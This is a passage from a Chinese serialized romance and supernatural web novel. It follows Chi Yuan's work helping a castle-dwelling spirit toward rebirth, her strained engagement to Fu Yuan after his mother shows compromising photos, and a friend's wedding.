阳光在冯宛新戴上的玛瑙珠串上折射出瑰丽光晕。街边小贩用椰壳盛着冰镇芒果糯米饭,蒸腾的冷气裹着椰香,将两人的影子拉得很长。 这个AR实景项目真的很惊艳。冯宛用折扇轻点巷口的全息投影灯笼,光点如萤火四散,我名下的基金愿意注资。她耳坠上的珍珠随着动作轻晃,映得侧脸愈发柔和。 盛明栩将刚买的椰子水插上吸管递过去,嘴角扬起恰到好处的弧度:资金的事不急。 他目光扫过冯宛泛红的耳尖,我们公司最近筹备的民国剧,女主角设定和你舞台剧的戏路很像... 拍戏,冯宛没想过。 不过事业步入瓶颈,换赛道也可以考虑考虑。 海浪声突然变得急促,池鸢盯着水槽里堆积如山的餐盘,泡得发白的手指捏着钢丝球来回摩擦。 尉迟怀甩了甩发麻的手腕,水珠溅在她沾着油渍的围裙上:小姨,你看人家冯小姐...总裁是不是喜欢她。 “嗯,那又怎样。” 反正傅渊说好会娶她的,池鸢突然扯下手套,腕间被橡胶勒出的红痕格外刺眼。 窗外暮色渐浓,归来的人在甲板上传来欢呼声,将厨房切割成两个世界。 当盛明栩和冯宛并肩踏入大厅时,池鸢正躲在服务台后整理餐具。 水晶吊灯将冯宛的裙摆镀上金边,她颈间的玛瑙珠串在谈笑间轻轻晃动,和盛明栩西装口袋露出的丝巾角相映成趣。 远处传来员工们兴奋的交谈:今天冯宛姐和盛总玩了一天? 那当然,我布置的街景... 池鸢低头擦拭红酒杯,杯壁倒映出她苍白的脸。 玻璃表面突然泛起涟漪,她这才惊觉自己握得太紧,指节都泛着青白。 海浪拍击船身的节奏越来越急,仿佛要将这艘载满秘密的游轮,卷入更深的夜色。 洗碗机的轰鸣声突然变得刺耳,池鸢指尖触到震动的手机。傅渊的来电显示在屏幕上明明灭灭,像极了她此刻起伏不定的心绪。 “喂?”她贴着墙角避开人群,却还是被此起彼伏的欢笑声淹没。 电流声中传来清嗓的响动,紧接着是不成调的哼唱。傅渊的声音裹着电流刺啦作响,却固执地将《表白》的歌词一句句唱进她耳中:“就这样爱你,随时都要一起......”他刻意压低的声线带着笨拙的温柔,尾音还在颤抖。 池鸢的后背抵着冰凉的舱壁,喉间泛起酸涩。 “唱得太烂了。”她故意吸了吸鼻子,却被自己沙哑的声音吓了一跳,“下次别折磨我的耳朵了。” “你现在在哪?”傅渊的声音突然严肃起来。 “在盛明栩的船上。”池鸢攥紧栏杆,感受着船体在浪涛中轻微震颤,“他在岛上开发了VR游戏,就是那个......” “他也有游戏。”傅渊思考着。 又一个电话切进来:“不说了,主管找我。” “哦,那你忙吧。” 池鸢一接主管电话。 “池鸢,你在干嘛,要不要回来加班,见客户!” 加班,服务客户。说的和她现在的处境也没什么区别。 第220章 满 海风裹挟着咸腥拍打在池鸢苍白的脸上,她看着尉迟怀蹦蹦跳跳钻进徐丽的黑色轿车,尾灯消失在蜿蜒的山道后,才拖着灌满铅般的双腿走向主管的银色奥迪。 真皮座椅还残留着阳光的余温,池鸢扣上安全带时,听见肩带摩擦发出细微的嘶鸣。 后视镜里,主管的脸像被冻住的石膏面具,指节敲打着方向盘:小鸢,我说之前我们有个同事叫里亚的,你还记得吗? 空调出风口喷出的冷气突然变得刺骨。 池鸢揉着酸痛的肩膀,洗碗时被钢丝球磨破的伤口还在隐隐作痛。她漫不经心道:记得,怎么突然问这个? 他怎么在这呆了几天就不见了。主管的声音像冰锥刺进耳膜,仪表盘幽蓝的光映得他眼底泛起青灰。 池鸢后颈窜起细密的冷汗。 盘山公路九曲回环,轮胎碾过碎石的声响格外清晰。 当熟悉的哥特式尖顶刺破暮色时,池鸢攥紧了背包带。古堡前的荆棘墙在风中簌簌作响,上次在这里,她被古堡大妈塞了瓶诡异的化妆品,第二天就烂脸。 主管的皮鞋踏在青石板上发出清脆的声响。 他按下门铃的瞬间,乌鸦群突然从塔顶惊飞,黑压压的羽翼遮蔽了最后一缕天光。门开的刹那,猩红的裙摆如血瀑倾泻——古堡大妈竟换了身低胸晚礼裙,颈间缠绕的珍珠项链在暗处泛着冷光。 是你啊。大妈接过礼品袋,指尖拂过丝绒包装时,池鸢看见她涂着蔻丹的指甲足有两寸长。 当花粉的清香飘散在空气中,大妈突然发出银铃般的笑声:谢你了,这种花粉在这个季节是很难弄到的,但是我的化妆品缺少的并不是这个。 返程路上,主管突然猛踩刹车。 仪表盘的数字在池鸢眼前疯狂跳动,她死死抓住扶手,听见骨骼发出咯吱的抗议。 她缺少什么?主管的质问裹挟着浓重的烟草味扑面而来。 池鸢颤抖着摸出背包里的气垫,粉扑按压在结痂的脸颊上时,疼得她眼眶发红。我真的不知道。她望着后视镜里自己苍白的倒影。 池鸢,你相信这世上,有灵吗?主管的声音突然变得温柔,却比任何时候都让她毛骨悚然。 实话告诉你吧,我们是服务灵的公司,时间差不多了,希望你可以让她满意的转生。 主管翻开笔记本,泛黄的纸页间夹着里亚的工作照。池鸢盯着窗外急速后退的树影,那些扭曲的枝桠仿佛无数只伸向她的手。 她一脸委屈,她还是无法相信主管的话,还有大妈满意的条件,她怎么知道呢。 我只是觉得,你可以别干了。主管的钢笔尖划破纸面,墨渍在辞退通知四个字上晕染。 车内的空气仿佛被无形的手攥紧,池鸢的指甲深深掐进掌心。 主管慢条斯理地合上笔记本,金属扣碰撞的声响在密闭空间里格外刺耳:你别干了。 主管,你是要把我辞退吗?池鸢听见自己颤抖的声音,想起银行卡里寥寥无几的余额,可是我舍不得这份工作......尾音带着不易察觉的哽咽。 仪表盘幽蓝的光打在主管脸上,他扯松领带:现在说这种话,你早干嘛了? 泛黄的笔记本再次被翻开,池鸢,上个月你迟到七次,客户投诉三次,上周的汇报PPT里还夹着张外卖单——你觉得这正常吗? 池鸢想起那天在古堡匆忙整理资料的场景,脸颊突然痒得钻心,她下意识去摸。 主管,我会改的!她抓住副驾的扶手,指节泛白,你看,大妈给的化妆品根本就是毒药,我就烂脸了。” 主管突然冷笑,后视镜里他的瞳孔收缩:那不是化妆品,是往生引。他伸手关掉车灯,想要保住工作?明天日落前,必须让古堡的主人满意。 第221章 弄倒了 暮色漫过落地窗时,池鸢推开门,玄关处飘来若有若无的香气。 客厅传来细碎的欢笑声,她踩着米色地毯拐进餐厅,只见徐丽系着碎花围裙,正手把手教尉迟怀捏饺子褶。案板上歪歪扭扭的面团堆成小山,沾着面粉的小手在围裙蹭出白痕。 小姨!尉迟怀举着沾满馅料的勺子蹦起来,我们打乒乓球! 池鸢把包甩在沙发上,瘫坐在椅子里揉着太阳穴:我今天坐了好久的车,现在连抬胳膊的力气都没了—— “小姨。” 这么累?徐丽将最后一个饺子放进竹匾,眼角笑出细密的纹路,当年你两岁发烧40度,我抱着你在医院走廊来回走了三个小时。 妈,您体力逆生长。池鸢夸张。 徐丽抄起擀面杖作势要打:贫嘴!快去陪小怀玩,不然等会该哭鼻子了。 乒乓球室的木质地板还留着午后阳光的温度。池鸢刚把球拍架在球网两侧,就像融化的冰淇淋般瘫倒在地。 混着汗水的发丝贴在脸颊,绵长的呼噜声惊飞了窗外的麻雀。 尉迟怀举着球拍呆立半晌,突然跺脚:大骗子!女孩子怎么能打呼这么大声!脚步声由近及远。 池鸢起身,就不让他得逞。 次日清晨,池鸢发现自己盖着徐丽的针织毯蜷在沙发角落。 餐桌上留着温好的豆浆和煎蛋,字条上的字迹娟秀:早餐记得吃。 七点五十分,黑色商务车准时停在小区门口。主管摇下车窗,腕间的机械表泛着冷光:提前十分钟,不错。他低头翻着文件,看来终于意识到工作态度的重要性了? 池鸢系好安全带,后视镜里映出主管领口的深色汗渍。 车子碾过减速带时,池鸢攥紧了包带,下次该轮到何璃,Finoa或者是戴芬吧...... 领导说了,以后这个部分主要就交给你和我。主管突然合上文件夹,从公文包抽出一叠报表,红笔批注密密麻麻,怎么小池,你不愿意和我一起工作。 哥特式尖顶刺破云层时,池鸢的心跳陡然加快:“没有,怎么会呢。” 主管:“行了,我知道你不喜欢我,我比较严厉。” 第三次拜访这座神秘古堡,雕花铜门后飘来的檀香比往日更浓郁。 主管照例呈上包装精美的香氛液,古堡女主人戴着珍珠手套接过,眼角细纹里藏着笑意:有心了。 池鸢假装欣赏墙上的油画,余光却紧盯着陈列柜。 那瓶标注奇怪文字的墨绿色液体在烛光下泛着诡异光泽,瓶身缠绕的藤蔓花纹似乎在缓缓蠕动。她刚凑近半步,身后突然响起脚步声。 看什么这么入神? 池鸢猛地转身,手肘重重撞在石桌上。铸铁炖锅发出刺耳的尖叫,深紫色液体在地面蔓延,接触到空气的瞬间腾起紫色烟雾。 主管的惊呼声与女主人骤然变冷的眼神同时袭来:池鸢,你干什么呢? 池鸢慌乱:对不起,实在是不小心...... 小姑娘,这可是我熬了整整三小时的秘制配方。光是那些进口香料,就得花掉普通人一年的工资。 主管镜片后的目光在两人之间来回游移。 池鸢咬了咬下唇:算我全部买下,可以吗。 大妈浑浊的眼睛瞬间亮了起来:早说嘛!来来,你一定要试试我的新品,青春永驻,美容养颜! 蒸腾的热气中,她布满老年斑的脸上绽开了狡黠的笑纹。 第222章 抓住 主管将黑色轿车稳稳停在公司楼下,雨刮器来回摆动间,后视镜里映出池鸢颤抖的手指——她第三次尝试扣上安全带,金属卡扣与锁舌碰撞发出清脆的“咔嗒”声。 “你怎么回事,小心点。”主管拧紧眉梢,骨节分明的手指敲了敲方向盘。 车载香薰散出冷冽的松木气息,与车外潮湿的雨腥味在密闭空间里交织。 池鸢垂眸攥住裙摆,雨水顺着玻璃窗蜿蜒成泪痕状的纹路:“嗯,太紧张了,知道古堡女主人是灵体,她应该不想转生。”话音未落,仪表盘幽蓝的光突然明灭闪烁,雨刮器毫无征兆地停在半空中,像是被无形的手扼住咽喉。 主管转动真皮座椅,西装袖口滑落露出腕表冷光:“那么我们的工作就无法继续了,借住在你家酒店的灵越多,就会越拥挤。”他特意加重“你家”二字,看着池鸢瞳孔猛地收缩。 “什么我家酒店,我不知道。”池鸢的后背紧贴车门,金属门把手硌得生疼。后视镜里,自己惨白的脸与窗外阴沉的天色重叠。 主管轻笑一声,喉结在领带下滚动:“嗯,最近生意不太好吧?”雨势突然变大,雨滴砸在车顶如同密集的鼓点,“不过也都是我们介绍过去的。”他不再多言,发动车子时故意踩重油门,轮胎碾过积水溅起半人高的水花。 公司顶楼的落地窗外,夜幕正吞噬最后一丝天光。 何璃抱着文件夹撞开休息室的门,马尾辫随着急促的步伐甩动:“你看这个!”她将照片拍在化妆镜前,玫红色指甲戳着画面里纠缠的男女,“原来死者的老公和她的闺蜜偷情,真是替她惋惜。” 池鸢正在补口红的手顿住,镜面倒影里,照片上男人胸前的铂金领带夹闪着冷光——那正是今天在古堡书房里,死者丈夫抚摸亡妻遗照时,她瞥见的同款。 “这不是我的客户资料吗。”她指尖抚过照片边缘的烫金花纹,油墨味道里混着淡淡的血腥味。 “你的客户资料?”何璃的睫毛剧烈颤动,艳羡的目光扫过池鸢工牌上“特别助理”的烫金字样,“你不会要升职了吧?” 窗外闷雷炸响,水晶吊灯突然剧烈摇晃,照片被无形力量掀起,啪嗒一声贴在池鸢眉心,冰凉的触感像是有人在额头印下亲吻。 第二日。 她池鸢吸一口气进入公司大门,却被保安架着胳膊拖出庭院。 “您一定要相信我!不然她会有恶气的!我知道您旗下的化妆品公司出了质量问题,最近在头疼想要召回吧?” 保安松开手的瞬间,池鸢踉跄着撞进一个带着槐花气息的怀抱。 抬头时,贺屹正拧开矿泉水瓶,水珠顺着瓶身滑落在他骨节分明的手上,在路灯下折射出细碎的光。 “没事吧。”他的声音裹着夜色里的凉意,却让池鸢想起许久之前,这个男人冒雨给她送伞时,伞骨上滴落的水珠。 池鸢接过水瓶,喉间火辣辣的疼:“都是工作。” 她看着贺屹西装上别着的珐琅胸针,那是此公司的标志,此刻却像道冰冷的隔阂横在两人中间。 贺屹倚着黑色轿车,车灯将他的影子拉得很长,几乎要将池鸢笼罩其中。曾经他们在酒店打闹的开心,可如今他的目光里只剩审视:“池小姐,你还会来吗?” 风卷起池鸢耳畔的碎发,她忽然想起贺屹说过最喜欢她认真工作的样子。“应该会吧。”她的声音轻得像要消散在风里。 贺屹伸手想要触碰她的肩膀,最终却只是垂下手,金属袖扣在暗处泛着冷光:“这种事不是很常见,但是,你真的要帮古堡主人转生。”话尾带着不易察觉的叹息。 池鸢握紧矿泉水瓶,瓶身传来的凉意沁入掌心:“贺先生,有些事总得有人去做。” 她转身时,贺屹望着她远去的背影,直到那个单薄的身影消失在街角,才低头看着自己悬在半空的手,像是要抓住什么,却只握住了满手虚空。 第223章 松弛 机场落地窗外,池宜拖着行李箱穿过玻璃旋转门,清冷的晚风裹挟着远处霓虹灯的光影扑面而来。 人群中,一抹挺拔身影让她呼吸微滞——尉迟延身着深灰西装,白衬衫领口微微敞开,腕间腕表折射着冷光,手中的香槟色玫瑰束却在暮色里氤氲着温柔。 这么晚了,到时候没有车,所以我来接你。尉迟延上前半步,香水混着玫瑰气息漫过来。 池宜后退半尺。 你不去陪她吗?池宜垂眸调整行李箱拉杆,指甲划过金属杆发出细微声响,她指的,是沈曼桃。 尉迟延:又是池鸢多嘴? 不管她的事。池宜转身走向出租车停靠区,黑色大衣下摆扬起又落下,坐你的车我要考虑考虑。尉迟延望着她消失在车流中的背影,从内袋掏出蒂芙尼蓝礼盒,冰凉的金属链条在掌心缠绕成结。 与此同时,深山庭院里灯笼次第亮起。池鸢揉着酸涩的太阳穴推开雕花木门,青石板路上铺满细碎月光。傅渊倚着红木廊柱,深灰色毛衣衬得眉眼愈发温柔,手中《漫游记》的烫金书名在月光下泛着微光。 你别总是熬夜,黑眼圈很重。傅渊将书递过去,指腹擦过她眼下淡淡的青影。 哦。池鸢指尖抚过书脊,旅行随笔特有的油墨香混着他身上的檀木香,忽然眼眶发烫。 最近工作的事有些棘手。话音未落,压抑许久的委屈决堤。 傅渊环住她颤抖的肩,下巴轻抵她发顶,庭院里唯有山风掠过竹林的簌簌声。 池鸢闻着他身上的香味,真希望时间停在此刻。 城市另一头,池宜盯着梳妆镜里的自己。珍珠耳钉折射着冷光,妈妈挑的米色连衣裙裹得她透不过气。女人一个人带孩子很辛苦的,小怀也许要爸爸。 沈念安的话在耳畔回响,手机屏幕亮起相亲对象的消息:我在二楼靠窗位置。 咖啡馆暖黄灯光下,乔医生推过一杯拿铁,白大褂袖口露出的腕表简约低调:池小姐不必为难。 他翻开面前的病历本,钢笔尖悬在纸面,单亲妈妈,我能理解。 池宜望着他认真的眉眼,喉间泛起苦涩。 咖啡馆二楼临窗的位置垂落着米白色纱帘,细碎光斑透过玻璃斜斜铺在原木桌面上。 乔医生将骨瓷咖啡杯往池宜面前推了推,深褐色的液体表面浮着细密奶泡,肉桂粉勾勒出精致的图案,尝尝看,这家的手冲用的是埃塞俄比亚的耶加雪菲豆。 池宜指尖轻触杯壁,暖意顺着指腹蔓延。 自从离婚后,她鲜少允许自己沉浸在这种松弛的氛围里。 阳光在他镜片上折射出细碎光晕,池宜发现他睫毛很长,说话时总习惯性垂眸。 当话题从咖啡延伸到育儿经,乔医生从公文包里取出一本软面抄,泛黄的纸页间夹着银杏叶书签,这是我给你整理的育儿笔记,里面有很多儿科专家的建议。 他翻到某一页,工整的字迹旁贴着卡通贴纸,比如孩子挑食时,可以把蔬菜做成小动物的形状。 窗外梧桐叶被风吹得沙沙作响,池宜搅动着咖啡,看奶泡在漩涡中消散又聚合。 乔医生忽然从包里掏出个小铁盒,掀开盖子是五颜六色的折纸星星,这是住院的小患者送的,他捻起一颗紫色星星,有个小姑娘说,对着星星许愿,愿望就会实现的。 当暮色给纱帘染上蜜糖色,池宜才惊觉已经过去了三个小时。 乔医生起身帮她披上外套,动作自然,下次带你去医院的秘密花园,那里种满了绣球花。他笑着说,镜片后的眼睛弯成月牙,那里的护士总说,鲜花比药更能治愈人心。 池宜踩着满地余晖走出咖啡馆,包里沉甸甸的育儿笔记压着那颗紫色星星。夜风拂过,带着咖啡与奶香混合的淡淡香气。 第224章 柔光 傅渊总会提前安排好约会行程,有时是带池鸢去偏僻的山庄,或者路边新开的花店。 他的眼神里满是宠溺,伸手抚摸池鸢的发丝,轻柔的动作,仿佛在触碰一件珍贵的宝物。 这天,他们漫步在河边,夕阳将两人的身影拉得很长。 傅渊牵起池鸢的手,手掌温暖。 末了,就直接在河边野炊,钓鱼的他别有一番魅力。 池鸢站在一旁帮忙打下手,两人有说有笑,他们相对而坐,那一刻,仿佛时间都为他们停驻。 暮色给远山镀上灰蓝纱幔时,池鸢踩着石阶踉跄下山,猝不及防撞进一个人清冽的目光里。 他倚着登山杖斜靠在古柏下,防风外套拉链随意敞着,露出里面洗旧的白衬衫,像是从水墨画里走出来的人。 “你怎么在这?”她攥紧背包带子,后颈渗出薄汗。方才傅渊说要去买水,此刻随时可能折返。 “爬山。”盛明栩直起身,登山靴碾过碎石发出细碎声响。他目光扫过她发红的耳尖,突然伸手——池鸢条件反射地后退半步,却见他指尖拈落她发间一片枫叶,“沾到东西了。” 手机在包里震动起来,沈曼桃的来电显示刺得他眼疼。转身接电话的瞬间,听见身后传来布料摩擦声,是池鸢想要走。 山间的风卷着姑姑焦灼的叮嘱钻进耳膜:“明栩,你一定要抓住冯宛的心,你们不要再分开了?” 盛明栩望着远处层叠的山峦,夕阳将他侧脸的轮廓染成琥珀色。他忽然开口:“我尽力吧。”尾音消散在渐浓的暮色里,带着她读不懂的意味。 “下周。”傅渊时目光灼灼,“我妈想见见你。” 池鸢感觉喉咙发紧,傅渊的母亲此刻恐怕正为儿子殚精竭虑, 她后退一步,背包撞在身后的石头上:“我...我再考虑。” 盛明栩突然逼近,薄荷的气息扑面而来。他抬手撑在两人身后的石壁上,形成半包围的禁锢:“是在躲什么?” 话音未落,他看见傅渊拎着两瓶矿泉水出现在视野里,衬衫被山风吹得鼓起。 盛明栩瞳孔骤缩,喉间未及吐出的后半句话卡在那里。 傅渊满身硝烟气息扑面而来,沾着草屑的指节扣住他衣领,骨节因用力泛白:很意外? 话音未落,带倒钩的青铜剑已擦着耳畔劈下。 盛明栩侧身躲过,剑锋在地面划出半米长的焦痕:傅渊!你疯了? 疯的是你!傅渊扯出背包里那柄泛着寒光的史诗级武器,剑身缠绕的锁链哗啦作响,国王的铁骑追了我整整七天,连睡梦中都有人举着长矛捅我的营地!他额角青筋暴起,挥剑的轨迹带着失控的疯狂。 盛明栩险之又险避开致命一击,刹那间,湛蓝色能量盾在周身展开,碰撞的气浪掀飞周围枯叶。傅渊头顶血条骤降三格,象征等级的金色徽章泛起裂痕。 游戏漏洞我会修复。盛明栩的声音带着不容置疑的冷意,现在立刻停手。 傅渊盯着自己不断褪色的装备,突然冷笑一声收剑。他转身牵住一直沉默的池鸢,女孩腕间的命运红绳在风中轻晃:这种垃圾游戏,不奉陪了。 枯叶打着旋儿落在两人身后,盛明栩望着他们远去的背影。 车内暖黄的顶灯将池鸢的侧脸镀上柔光,她指尖无意识摩挲着安全带扣。 仪表盘幽蓝的光映在他眼底,把那些没说出口的烦躁都搅碎成翻滚的暗流。 “其实我能帮上忙。”她轻声开口,“我也玩过。” 傅渊转身时带起的风掀动她额前碎发,两人距离近得能看见对方睫毛的颤动。“不要?”他声音发沉,喉结滚动着咽下后面的责备,伸手去够她膝头的落叶,指腹却擦过她冰凉的指尖。 池鸢耳尖发烫,慌乱中抽回手,结果打翻了杯架里的矿泉水。 水流在中控台上蜿蜒成河,傅渊手忙脚乱用纸巾去堵,却不小心按响了喇叭。 刺耳的鸣笛声里,两人对视一眼,突然同时笑出声来。 “像两个笨蛋。”傅渊揉着笑出眼泪的眼角,抽出张湿巾递给她。池鸢接过时,发现他虎口处有道新鲜的擦伤,结痂的血痕混着机油,“你受伤了?” “小伤。”傅渊想缩手,却被她轻轻握住手腕。 消毒棉贴上来时,他听见自己剧烈的心跳声,几乎要震碎胸腔。后视镜里,霓虹灯在她低垂的睫毛上碎成银河,而他鬼使神差地想,其实这样被危险裹挟着的时刻,也没那么糟。 第225章 见她 第二日清晨,池鸢驱车前往公司。 昨夜辗转难眠,满脑子都是傅渊,此刻握着方向盘的手还微微发颤。 推开公司玻璃门的瞬间,主管满脸喜色地迎上来:小池,古堡主人同意转世了! 真的?!池鸢惊讶地瞪大了眼睛。 千真万确!她丈夫终于松口,同意停止生产以她命名的那款化妆品。这些年,他一直坚持着,想必也是累了。主管兴奋地说。 池鸢心中五味杂陈。想起古堡里那阴森的氛围,想起那个肥胖臃肿却充满怨念的身影,她不禁打了个寒颤。但作为古堡主人的服务员,她必须亲自去确认这个重要的决定。 独自驱车前往古堡的路上,阴云密布,树枝在风中摇曳。 池鸢紧紧握着方向盘,努力压制内心的恐惧。 当她终于抵达那座哥特式古堡时,厚重的铁门缓缓开启。站在门口的,竟是一个气质优雅的女子——这还是她记忆中的古堡主人吗? 眼前的女子身材纤细,眉眼如画,举手投足间散发着迷人的气质。池鸢这才惊觉,原来古堡主人生前竟是如此美貌。 为什么突然决定转世?池鸢忍不住问道。 你不是一直希望我能解脱吗?古堡主人淡淡一笑,只是没想到,公司的经营早已千疮百孔。那可是我毕生的心血啊...她的眼神中闪过一丝怅惘,这些年,他并没有出轨,只是用这种方式,希望我永远留在这里。 池鸢欲言又止,她想说其实不必如此匆忙,想说那座古堡里还有太多未解之谜。但看着眼前女子决绝的眼神,她把话咽了回去。 现在,我该去寻找新的生活了。说完,古堡主人转身准备离开。 等等!池鸢突然叫住她。想起昨日在古堡外看到的那一幕——那个依偎在古堡主人丈夫怀中的年轻女子,她实在无法理解,为什么对方就这样轻易放手。 告别古堡后,池鸢在地上发现了一张房卡。出于职业习惯,她决定顺道去酒店帮对方退房。 这张房卡终于找到了!酒店前台经理看到房卡时,惊讶地说,我们找了好久。 丢了再配不就好了?池鸢不解地问。 经理瞥了她一眼,露出一贯的不屑神情,你不懂,这张房卡...话未说完,又止住了。 回到公司,池鸢果然得到了主管的高度赞扬。然而,同事们的窃窃私语却让她如芒在背。 这个池鸢,消失这么久,一回来就天天往主管办公室跑。 不会是有什么见不得人的关系吧? 听说她未婚夫失踪了,该不会... 池鸢坐在办公桌前,听着这些议论,思绪却飘回了那座神秘的古堡。古堡主人真的就这样放下一切离开了吗?那张神秘的房卡背后又藏着怎样的秘密? 傍晚,池鸢攥着手机站在锦食阁雕花门前。三个小时前收到的短信言简意赅:晚上八点,二楼雅间,谈谈傅渊的事。发件人是傅渊的母亲,那个保养得宜却总带着疏离感的贵妇。 推开门的瞬间,暖黄灯光裹挟着檀香扑面而来。 傅渊坐在圆桌另一侧,西装领口微微敞开,眼底藏着难以名状的疲惫。 他身旁的女人正用银匙搅动着汤羹,珍珠耳坠随着动作轻轻摇晃,俨然是上流社会最标准的优雅姿态。 阿姨好。池鸢礼貌地打招呼。 傅母抬眼打量她,目光像扫描仪般上下游走:坐吧。 话音未落,服务员鱼贯而入,糖醋排骨、龙井虾仁...全是傅渊最爱的菜式。 傅渊,你还好吧,妈妈都快担心死了。傅母的声音突然哽咽,保养精致的手抚上儿子消瘦的脸颊,这些日子你去哪了?怎么连个电话都没有? 傅渊握住母亲的手,喉结滚动:妈,我这不是好好的吗?别担心。 你瘦了。泪水顺着傅母精心描画的眼线滑落,在粉饼上晕开深色痕迹,你失踪这段时间,池小姐每天都来家里帮忙,是个懂事的姑娘。 傅渊突然挺直脊背,眸中燃起光亮:妈,我正想和你说,我和池鸢...我们打算结婚。 空气骤然凝固。傅母擦拭眼泪的动作僵在半空。这个答案显然在她意料之中,却又令她难以接受。 婚姻大事要慎重考虑。傅母放下手帕,从珍珠手包里取出手机,虽然目前没找到更合适的人选,但我认为她不合适。 妈!傅渊猛地站起,椅子在大理石地面划出刺耳声响,为什么?池鸢温柔善良,这些年一直陪着我... 是吗?傅母冷笑一声,指尖在屏幕上滑动,那你看看这个。 手机屏幕亮起的瞬间,池鸢感觉血液都凝固了。 画面里凌乱的床铺、半褪的衣衫,以及那张被阴影模糊却无比熟悉的脸——正是她。 耳边传来傅渊倒抽冷气的声音。 而傅母的声音像淬了毒的针:这是一间酒店,画面里的人就是池小姐。傅渊,你说呢? 池鸢望着傅渊骤然苍白的脸,“不是的,我可以解释。” 第226章 发腻 水晶吊灯在包厢里投下细碎的光晕,傅渊起身时带倒了椅脚,地面相撞的脆响惊得池鸢浑身一颤。 渊渊!傅母伸手,珍珠耳坠在她泛红的耳垂上摇晃,这些都是你最爱吃的...妈特意...话音未落,包厢门已经重重阖上。 池鸢滚烫的羞愧感从耳尖烧到脖颈,她甚至不敢抬头看傅母眼中的失望。对...对不起阿姨。她的声音像被砂纸磨过,抓起背包就冲了出去。 风扑在脸上,池鸢跌坐在车后座时。温热的泪水却汹涌而出,在脸颊上划出滚烫的痕迹。 手机屏幕在黑暗中亮起又熄灭,通讯录里傅渊两个字被她反复摩挲到发烫,第十七个未接来电依然石沉大海。 公寓楼道的感应灯忽明忽暗,池鸢攥着钥匙的手突然顿住。 阴影里走出的盛明栩倚着墙,眸光闪烁。 你不打算解释?她喉咙发紧,指甲深深掐进钥匙齿。 男人慢条斯理地整理着袖口的袖扣,金属扣碰撞发出清脆声响。解释什么?他挑眉的弧度带着几分漫不经心。 那些照片!池鸢猛地逼近,高跟鞋在瓷砖上刮出刺耳的声响,只有你!她的声音带着破音的颤抖,眼前又浮现出傅渊摔门时通红的眼眶。 盛明栩摘下墨镜,动作优雅:你得罪的人可不止我一个。他突然倾身,薄荷气息喷在她耳畔,你真是不小心,把我们的秘密...话音未落,手机在他口袋里震动起来。 池鸢顺着他低头看手机的动作,瞥见屏幕上沈曼桃三个字在跳动。她突然觉得浑身发冷,跌坐在地时听见自己沙哑的声音:傅渊已经不接我电话了。 他最近陷在局里。盛明栩盯着手机屏幕回复消息,语气像在谈论明天的天气。 他抬头时嘴角勾起一抹笑,需要我帮你叫份外卖吗? “不要。” 接下来的日子,池鸢的手机里堆满了未发送的短信。 凌晨三点,她站在山脚下,看着漆黑的山谷,把你还好吗删了又改。 她坐在他们野炊过的河边,数着水面上的涟漪。 啪!清脆的耳光声惊飞了芦苇丛里的白鹭。 池鸢捂着发烫的脸颊,看着踩着十厘米高跟鞋走来的傅清浅。 富家千金的香奈儿外套下摆随风扬起,露出腰间璀璨钻石链,别再缠着我哥。 她的指尖划过池鸢红肿的脸颊,语气甜得发腻,不然我可要让你知道,得罪傅家是什么下场。 池鸢望着傅清浅远去的车尾灯,手指颤抖。 隔了几日,池鸢都浑浑噩噩的。 直到萧辞的电话打过来:“池鸢,我要结婚了,你一定要过来给我做伴娘。” 凌晨五点的天光像层半透明的薄纱,温柔地笼罩着这座城市。 池鸢站在酒店化妆间的落地镜前,指尖无意识摩挲着伴娘裙柔软的蕾丝面料。 淡粉色的裙摆在晨光中泛着珍珠般的光泽,这是萧辞特意挑选的款式,说要让她做最亮眼的伴娘。 化妆师的刷子轻柔地扫过她的眼睑,池鸢却有些出神。镜中的自己眉眼如画,可眼底藏着化不开的倦意。 婚礼现场布置得十分精致,水晶吊灯折射出璀璨的光芒。 当萧辞穿着洁白婚纱缓缓走来时,池鸢的目光不由自主地落在她身旁的新郎身上。男人约莫三十出头的年纪,眉眼间却带着与年龄不符的沧桑,举手投足间透着成熟稳重的气质。 怎么样?我老公帅吧?萧辞凑过来,眼神里满是幸福。 池鸢斟酌着措辞:很有男人味,就是看着有点...... 得了吧,你就直说不帅呗!萧辞佯装生气地戳了戳她的肩膀,我又不是外貌协会的,重要的是他怎么对我。 话音刚落,萧辞突然想起什么,开口问道:对了,傅渊呢? 池鸢的表情瞬间凝固,重重叹了口气:别提了。 怎么回事? 还不是盛明栩那个混蛋,把我和傅渊的照片发给傅渊妈妈了。 萧辞气得咬牙切齿,我就知道那家伙没安好心! 池鸢握着酒杯的手指微微收紧,玻璃触感冰凉:迟早的事。 她望向远处的阳台,夜色中城市的灯火明明灭灭,就像她此刻纷乱的心情。想起傅渊得知消息时冷漠的眼神,心口又泛起一阵钝痛。 第227章 温度 正出神间,萧辞突然凑近,声音里带着几分讨好:对了池鸢,你能借我点钱吗?这次婚礼花了80万,我东拼西凑的,现在实在周转不开了...... 池鸢愣了一下,随即皱起眉头:没钱你结什么婚? 那怎么行,结婚是一辈子的大事,总不能委屈了自己吧?萧辞理直气壮地说。 真没有。池鸢别过头,语气冷淡。她知道,以萧辞的性格,一旦开口借钱,就很难收回了。 …… 池鸢和傅渊的事不知怎么传到了傅家老太太的耳朵里。 富丽堂皇的客厅里,老太太端坐在红木沙发上,神色威严:傅渊妈妈,这是两家长辈早就定下的婚约,你怎么能擅自做主? 傅渊妈妈攥着丝帕的手指微微发白:可是妈,池鸢她...... 现在是开明的时代,有些事没必要太较真。老太太打断道。 是我太守旧了,实在接受不了这样的儿媳妇。傅渊妈妈声音发颤,妈,你就没考虑过傅渊的感受吗?他也是个男人,是男人就爱面子...... 窗外的风轻轻吹动窗帘,阳光透过雕花窗棂洒在地上,形成斑驳的光影。 这场关于傅家子嗣婚姻的纷争,似乎才刚刚开始。 婚礼散场的香槟塔早已撤去,宴会厅的水晶灯熄灭后。 池鸢倚着扶手,她强撑着将萧辞塞进婚车,有进了萧辞的婚房。 在楼下看着房间的灯熄灭,胃里翻涌的酒意突然如潮水般漫上来。 凌晨十一点的街道寂静得瘆人,便利店暖黄的灯光在百米外明明灭灭。 池鸢盯着手机地图上迟迟未到的网约车。胃袋猛地抽搐,她踉跄着扶住路边的梧桐树,胃里的液体喷涌而出,溅在青石板上发出细碎声响。 沾着酒渍的手指还在颤抖,一方带着檀香气息的手帕突然悬在眼前。 抬头的瞬间,夜风卷起她额前的碎发,撞进一双深邃如墨的眼睛。 男人修长的手指捏着手帕,黑色西装衬得眉眼愈发冷峻,却在看见她泛着水光的眼睛时,微微蹙起了眉。 “没事吧?”低沉的嗓音裹着夜露的凉意。 